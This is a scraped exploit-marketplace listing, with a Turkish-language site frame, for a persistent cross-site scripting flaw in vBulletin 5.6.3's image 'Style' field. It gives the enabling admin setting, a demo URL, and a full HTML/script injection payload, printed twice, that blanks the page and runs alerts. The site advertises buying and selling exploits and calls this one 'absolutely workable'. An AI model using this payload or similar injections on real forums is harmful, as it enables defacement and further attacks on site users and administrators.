0day.today - Dunyanin En Buyuk Exploit Veritabani
Biz sadece bir adet ana domain kullaniyoruz DOMAIN_LINK
Eger exploit satin alacaksaniz ve ya hizmet icin odeme yapacaksaniz, altin almaniz gerekmekte. Biz sitemizi hack amacli kullanmak istemiyoruz, yani her turlu dogru olmayan, kanunsuz ve illegal yapilan eylemler diger hesaplari olumsuz yonde etkileyebilir ve sonrasinda buna yol acan/lar, web sitelerimize ve verilere erisimi tamamen kesilir, banlanir ve hesabini tarafimizca yok edilir.
Sadece bu sitenin yonetimine itibar edin. Sahtelere Dikkat!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Oku [ anlasma ]
- Oku [ Gonder ] kurallar
- Ziyaret et [ SSS ] page
- [ Uye Ol ] profil
- [ FIYAT ]
- Eger istiyorsaniz [ satmak ]
- Eger istiyorsaniz [ almak ]
- Eger kaybederseniz [ Hesap ]
- Herhangi bir sorunuz [ [email protected] ]
- Yetkili sayfa
- Uyelik sayfasi
- Hesap sayfasini geri yukle
- SSS sayfasi
- Iletisim sayfasi
- Paylasim kurallari
- Anlasma sayfasi
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Iletisim
Bize ulasabilirsiniz:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
vBulletin 5.6.3 Persistent XSS Image Properties Vulnerability
[ 0Day-ID-34885 ]
Full Baslik
vBulletin 5.6.3 Persistent XSS Image Properties Vulnerability
[ Highlight ]
Highlight - is paid service, that can help to get more visitors to your material.
Price:
Price:
Eklenme Tarihi
Kategori
Platform
Dogrulanma
Fiyat
Ucretsiz
Risk
[Security Risk High
]Rel. releases
Tanim
Click Image Properties in the Pmchat or Topic on the forum and we can see that field "Style" vulnerable to cross site scripting.
Usage info
Put xss code in the field and click "post reply". And we have a persistent xss. XSS attack can be use only by the administrator. He will not do this.
Can a user do this? Yes. If the administrator changes the settings.
Settings for change and tests:
Admin CP - Channel Permissions Manager - Edit Registered Users-Can Use HTML - yes. And we can see the rule : "Security Risk: Enabling HTML for untrusted users can expose your site to security risks and exploitation".
We found a vulnerable field and tested how it works if we change the security settings. But there may be(?) other ways to exploit this bug.
Example page with Persistent XSS:
https://8289cfe4157f-041544.demo.vbulletin.net/forum/main-forum/82-hello
XSS CODE (i like a big code;)):
""><style>body{visibility:hidden;} html{background-color: Black;}</style><div style="position: absolute;left: 420px;top: 40px;%E2%80%8B%E2%80%8Bz-index: 10;visibility: visible; color: Green; font-size: 40px;"><script>alert("Persistent XSS")</script><script>alert("vBulletin 5.6.3")</script><script>alert("by XSS Maker Vincent ibn Winnie")</script><img src="https://i.gifer.com/Ltvw.gif " style="height: 300px; width: 400px;" alt=".."><br>Cross site scripting is here..;)<br></img><iframe>
Can a user do this? Yes. If the administrator changes the settings.
Settings for change and tests:
Admin CP - Channel Permissions Manager - Edit Registered Users-Can Use HTML - yes. And we can see the rule : "Security Risk: Enabling HTML for untrusted users can expose your site to security risks and exploitation".
We found a vulnerable field and tested how it works if we change the security settings. But there may be(?) other ways to exploit this bug.
Example page with Persistent XSS:
https://8289cfe4157f-041544.demo.vbulletin.net/forum/main-forum/82-hello
XSS CODE (i like a big code;)):
""><style>body{visibility:hidden;} html{background-color: Black;}</style><div style="position: absolute;left: 420px;top: 40px;%E2%80%8B%E2%80%8Bz-index: 10;visibility: visible; color: Green; font-size: 40px;"><script>alert("Persistent XSS")</script><script>alert("vBulletin 5.6.3")</script><script>alert("by XSS Maker Vincent ibn Winnie")</script><img src="https://i.gifer.com/Ltvw.gif " style="height: 300px; width: 400px;" alt=".."><br>Cross site scripting is here..;)<br></img><iframe>
Satici
https://www.vbulletin.com/en/vb5-trial/
Etkilenenler
5.6.3
Test edildi
Windows 10 Mozilla Firefox and Opera
Prooves Information
Video proof
Other Information
Abuses
0
Yorumlar
0
Goruntulemeler
2 332
We DO NOT use Telegram or any messengers / social networks! Please, beware of scammers!
Ucretsiz
Open Exploit
You can open this source code for free
You can open this source code for free
Verified by
Verified by
This material is checked by Administration and absolutely workable.
This material is checked by Administration and absolutely workable.
[ Yorumlar: 0 ]
Terms of use of comments:
- Users are forbidden to exchange personal contact details
- Haggle on other sites\projects is forbidden
- Reselling is forbidden
Yorum yazabilmek icin giris yapin ve ya uye olun
Yorum yazabilmek icin giris yapin ve ya uye olun